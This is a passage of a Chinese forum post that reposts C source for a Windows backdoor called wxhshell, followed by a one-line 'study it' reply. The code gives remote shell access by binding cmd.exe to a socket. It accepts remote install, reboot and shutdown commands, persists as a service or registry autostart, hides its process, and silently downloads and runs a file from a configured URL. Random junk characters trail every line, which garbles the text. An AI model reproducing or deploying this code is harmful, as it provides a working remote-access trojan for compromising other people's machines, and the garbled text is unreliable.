  send(wsh,msg_ws_err,strlen(msg_ws_err),0); Nut&g"u2  
  else >A{Dpsi\  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0);  Q(w;  
  } kB@gy}  
  else { $BehU  
?=Ceo#Er  
    switch(cmd[0]) { -b!Z(}JK  
  vcQl0+&  
  // 帮助 y_L8i[  
  case '?': { yrEh5v:  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); }@6Ze$ >  
    break; `G!HGzVx;j  
  } 4$VDJ  
  // 安装 5 OWyxO3{  
  case 'i': { ++b[>};  
    if(Install()) k vZw4Pk  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ~ `}),aA  
    else <MJU:m $3  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); vai w*?jV  
    break; &mtt,]6C_  
    } npzp/mcIe)  
  // 卸载 xDw~n(*  
  case 'r': { m BvO<?ec  
    if(Uninstall()) /Yi4j,8!|  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); |1CX?8)b=  
    else n yPeN?-  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); rGNa[1{kRs  
    break; 0e0)1;t\  
    } H'#06zP>5  
  // 显示 wxhshell 所在路径 h9 DUS,G9,  
  case 'p': { {K+f& 75  
    char svExeFile[MAX_PATH]; grE(8M  
    strcpy(svExeFile,"\n\r"); 0#TL$?=|  
      strcat(svExeFile,ExeFile); sTP\}  
        send(wsh,svExeFile,strlen(svExeFile),0); L~/,;PHN  
    break; f$:Y'$Z1  
    } 5B)&;[  
  // 重启 l9uocP:D  
  case 'b': { 3 orZBT  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); I]d-WTd  
    if(Boot(REBOOT)) !{+CzUo@  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 'MW%\W;  
    else { O'(Us!aq  
    closesocket(wsh); ( gg )?  
    ExitThread(0); AJB NM  
    } giu{,gS0?M  
    break; E`_T_O=P  
    } B /uaRi%  
  // 关机 4F.,Y3  
  case 'd': { P `@Rt  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); bu6Sp3g  
    if(Boot(SHUTDOWN)) A{;"e^a-^l  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); z<9C-  
    else { *;}xg{@  
    closesocket(wsh); 8>WA5:]v  
    ExitThread(0); 5FJLDT2Lg  
    } +pG+ xI  
    break; >m lQ@Z_O  
    } zx<PX  
  // 获取shell Ojz'p5d`>  
  case 's': { 3m75mny  
    CmdShell(wsh); Nzgi)xX0HX  
    closesocket(wsh); ?xv."I%  
    ExitThread(0); `w#VYs|k  
    break; nxV!mh_  
  } OEaL2T  
  // 退出 0<v5_ pB  
  case 'x': { PP$2s]{  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); AP%R*0]  
    CloseIt(wsh); >?K=l]!(*  
    break; })<u ~r  
    } Pl/Xh03E  
  // 离开 /7"V~c6  
  case 'q': { VsSAb%  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); d6*84'|!  
    closesocket(wsh); >6yQuB  
    WSACleanup(); ^G`6Zg;  
    exit(1); l4i 51S"  
    break; >vo 6X]p~  
        } -){6ynqv  
  } ,gZp/yJ;  
  } 'gor*-o:wu  
ZqrS]i@$  
  // 提示信息 |Q)mBvvN  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); @"NP`#  
} xltN-<n7  
  } eE'>kP}  
-4+'(3qr  
  return; 4+>yL+sC%v  
} *cM=>3ws/  
uQH]  
// shell模块句柄 0J/yd  
int CmdShell(SOCKET sock) _!zc <&~I  
{ +`wr{kB$~  
STARTUPINFO si; UfPB-EFl$D  
ZeroMemory(&si,sizeof(si)); k0=!%f_G!  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; kOo  Vqu  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; T8\@CV!  
PROCESS_INFORMATION ProcessInfo; mK$E&,OkA  
char cmdline[]="cmd"; J \|~k2~  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); KRlJKd{  
  return 0; 8tSY|ME  
} oQh;lb  
lHM} E$5  
// 自身启动模式 0~ nCT&V  
int StartFromService(void) Z<>gx m<  
{ 7r?,wM  
typedef struct Y>aVnixx<  
{ GC# [&>L  
  DWORD ExitStatus; J?TCP%  
  DWORD PebBaseAddress; Xh}q/H<  
  DWORD AffinityMask; USEmD5q  
  DWORD BasePriority; !VIxEu^ke  
  ULONG UniqueProcessId; }iDRlE,  
  ULONG InheritedFromUniqueProcessId; C ibfuR  
}   PROCESS_BASIC_INFORMATION; Dti-*LB1  
|)To 0Z  
PROCNTQSIP NtQueryInformationProcess; MkFWZ9c3  
3HXeBW  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; V<|N}8{Z2a  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; pSC{0Y$g  
7Z:3xb&>   
  HANDLE             hProcess; 9\?&u_ U"  
  PROCESS_BASIC_INFORMATION pbi; EsWB|V>  
$]#8D>E&  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); N)cODy([  
  if(NULL == hInst ) return 0; T_2'=7  
3(J>aQZuI  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); vcy1itY  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 5!9y nIC+>  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); MHWc~@R  
?MSZO]Q4+  
  if (!NtQueryInformationProcess) return 0; [V_mF  
/Z*$k{qIR&  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); L|APXy]>  
  if(!hProcess) return 0; :CM-I_6  
9$v\D3<Z  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; *-]k([wV  
&u|t{C#0  
  CloseHandle(hProcess); = .S2gO >  
2u_=i$xW  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 4N= , 9  
if(hProcess==NULL) return 0; wT+60X'  
YhglL!p C  
HMODULE hMod; wH@< 0lw`<  
char procName[255]; bny@AP(CY+  
unsigned long cbNeeded; BeRs;^r+  
yg}L,JJU<  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); _3wJ;cn.  
qDswFs(  
  CloseHandle(hProcess); !-qk1+<h  
o"RE4s\G~r  
if(strstr(procName,"services")) return 1; // 以服务启动 YRZw|H{>t  
=>Ae]mi 7  
  return 0; // 注册表启动 4`v[p4k  
} ;;UsHhbhI  
IuPDr %  
// 主模块 ~hk!N!J\  
int StartWxhshell(LPSTR lpCmdLine) o+OX^F0  
{ *tZ3?X[b  
  SOCKET wsl; |U1u:=[  
BOOL val=TRUE; 5C*Zb3VG4  
  int port=0; p({|=+bl  
  struct sockaddr_in door; NY?iuWa*g  
/Tl ybSC1  
  if(wscfg.ws_autoins) Install(); o>]w76A^(  
 ]igCV  
port=atoi(lpCmdLine); "e\73?P  
O+XQP!T  
if(port<=0) port=wscfg.ws_port; oKSW:A  
$(J)F-DB i  
  WSADATA data; wAR:GO'n  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; .w m<l:  
ZPM7R3%V)z  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   T5pc%%q  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); FhH*lO&  
  door.sin_family = AF_INET; |OF3J,q  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); bU}!bol  
  door.sin_port = htons(port); zXGI{P0O  
Q!~1Xc0S`p  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) {  KYccjX  
closesocket(wsl); b2F1^]p  
return 1; %E, -dw  
} 79Q,XRWh|  
3s:)CXO  
  if(listen(wsl,2) == INVALID_SOCKET) { <C"}OW8  
closesocket(wsl); gcX  
return 1; ]]V=\.y  
} q{,yas7}  
  Wxhshell(wsl); ioTqT:.  
  WSACleanup(); <0`"vPU  
Y=pRenV'  
return 0; qy\SOA h  
Tig6<t+Q  
} /KvpJ4  
%u|Qh/?7  
// 以NT服务方式启动 QIN# \  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) Grd9yLF  
{ `n|k+tsC  
DWORD   status = 0; IfRrl/!nw  
  DWORD   specificError = 0xfffffff; :]C\DUBo  
[MC}zd'/  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 8^-g yx'  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 9D%~~~ %b  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; Q"xDRQA  
  serviceStatus.dwWin32ExitCode     = 0; jT QN(a9Y  
  serviceStatus.dwServiceSpecificExitCode = 0; *OE>gg&?Nh  
  serviceStatus.dwCheckPoint       = 0; a~tBgy+9  
  serviceStatus.dwWaitHint       = 0; p-g@c wOu  
S;vZXgyN?  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); Xw^:<Nx:  
  if (hServiceStatusHandle==0) return; DUm/0q&  
QQ,w:OjA0  
status = GetLastError(); A@k=Mk  
  if (status!=NO_ERROR) >W8PLo+i  
{ oDA'}[/  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; JR_c]AQYu  
    serviceStatus.dwCheckPoint       = 0; L?y,xA_  
    serviceStatus.dwWaitHint       = 0; .fW`/BXE  
    serviceStatus.dwWin32ExitCode     = status; V|0UwS\n  
    serviceStatus.dwServiceSpecificExitCode = specificError; -H_7GVSnl  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); K&Q0]r?  
    return; v:j4#pEWD  
  } P|)SXR  
Sag\wKV8  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; VHws9)  
  serviceStatus.dwCheckPoint       = 0; tQ?}x#J  
  serviceStatus.dwWaitHint       = 0; e''Wm.>g(+  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ':]w  
} w@f_TG"Vt  
%^ E>~  
// 处理NT服务事件,比如:启动、停止 %}&9[#  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ?at~il$z'  
{ 2I39fZa  
switch(fdwControl) l}c<eEfOy"  
{ /L[:C=u  
case SERVICE_CONTROL_STOP: c Ky%0oTla  
  serviceStatus.dwWin32ExitCode = 0; J.`.lQ$z  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; *XzUqK  
  serviceStatus.dwCheckPoint   = 0; u09OnP\  
  serviceStatus.dwWaitHint     = 0; kp;MNRc  
  { Z#W`0G>'  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); L,X6L @Q  
  } 9k"nx ,"  
  return; n#]G!7  
case SERVICE_CONTROL_PAUSE: -)<Nd:A  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; !8s:3]  
  break; khu,P[3>  
case SERVICE_CONTROL_CONTINUE: !p9F'7;Y<  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; @fYA{-ZC  
  break; +l3 vIN  
case SERVICE_CONTROL_INTERROGATE: QU4'x4YS  
  break; 'Ph;:EMj  
}; )I}G:bBa  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); If#7SF)n'  
} 1X9sx&5H  
n2O7n @8  
// 标准应用程序主函数 nocH~bAf2  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) !kKKJ~,;  
{ \1B*iW  
SoY&R=  
// 获取操作系统版本 Ia"bP` L  
OsIsNt=GetOsVer(); :3Jh f$  
GetModuleFileName(NULL,ExeFile,MAX_PATH); I5"=b}V5  
u})JQ<|  
  // 从命令行安装 \)"qN^we  
  if(strpbrk(lpCmdLine,"iI")) Install(); ?%0i,p@<  
Q Y fS-  
  // 下载执行文件 !c`1~a!  
if(wscfg.ws_downexe) { jKQP0 t-  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) :{6[U=O  
  WinExec(wscfg.ws_filenam,SW_HIDE); 5Q'R5]?h  
} =UP)b9*h  
4* hmeS"  
if(!OsIsNt) { _1 JvA-  
// 如果时win9x,隐藏进程并且设置为注册表启动 hg>YOf&RG  
HideProc(); ! O>mu6:Rf  
StartWxhshell(lpCmdLine); Yr,1##u  
} ^~I  
else +%~g$#tlJo  
  if(StartFromService()) t-Fl"@s  
  // 以服务方式启动 wIiT :o  
  StartServiceCtrlDispatcher(DispatchTable); V)Xcn'h  
else zj)[Sn tn?  
  // 普通方式启动 DpR%s",Q  
  StartWxhshell(lpCmdLine); i! nl%%  
V!=]a^]:  
return 0; eK@Y] !lz  
}
评价一下你浏览此帖子的感受

精彩

感动

搞笑

开心

愤怒

无聊

灌水
级别: 大掌柜
发帖
7343
铜板
6618
人品值
1388
贡献值
28
交易币
100
好评度
7488
信誉值
10
金币
0
所在楼道
学一楼
只看该作者 1 发表于: 2006-10-10
学习一下 呵呵
描述
快速回复

您目前还是游客,请 登录注册
如果您在写长篇帖子又不马上发表,建议存为草稿
认证码:
验证问题:
10+5=?,请输入中文答案:十五